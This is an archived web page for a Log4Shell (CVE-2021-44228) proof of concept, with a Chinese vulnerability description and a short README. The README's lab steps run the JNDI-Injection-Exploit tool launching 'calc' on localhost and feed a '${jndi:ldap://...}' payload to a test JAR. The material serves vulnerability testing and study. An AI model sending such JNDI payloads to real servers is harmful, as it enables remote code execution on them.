Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-44228 PoC — Apache Log4j 代码问题漏洞

Source
Associated Vulnerability
Title:Apache Log4j 代码问题漏洞 (CVE-2021-44228)
Description:Apache Log4j是美国阿帕奇(Apache)基金会的一款基于Java的开源日志记录工具。 Apache Log4J 存在代码问题漏洞,攻击者可设计一个数据请求发送给使用 Apache Log4j工具的服务器,当该请求被打印成日志时就会触发远程代码执行。
Description
Log4Shell A test for CVE-2021-44228
Readme
## CVE-2021-44228_Log4Shell
Test source code for Log4Shell(CVE-2021-44228).  


### Step Information  

1. Install JDK8 (< 8u191) in virtual machine(Windows 10).  

2. Copy `out\artifacts\POC_jar\POC.jar` in Windows.

3. Copy `JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar` in Windows, <a href="https://github.com/welk1n/JNDI-Injection-Exploit">Get JNDI-Injection-Exploit</a>  

4. Run `java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "127.0.0.1"`  

5. Run `java -jar POC.jar ${jndi:ldap://127.0.0.1:1389/*****}`  

  ![](https://cdn.jsdelivr.net/gh/yanghaoi/CVE-2021-44228_Log4Shell/out/POC.gif)


File Snapshot

[4.0K] /data/pocs/dbfdc1eed19224a1531c769a74ef491b979e001d ├── [4.0K] out │   ├── [4.0K] artifacts │   │   └── [4.0K] POC_jar │   │   └── [1.9M] POC.jar │   └── [802K] POC.gif ├── [ 976] pom.xml ├── [ 621] README.md ├── [4.0K] src │   └── [4.0K] main │   └── [4.0K] java │   ├── [4.0K] META-INF │   │   └── [ 52] MANIFEST.MF │   └── [4.0K] org │   └── [4.0K] example │   └── [ 863] Main.java └── [4.0K] target └── [4.0K] classes └── [4.0K] org └── [4.0K] example └── [1.4K] Main.class 13 directories, 7 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.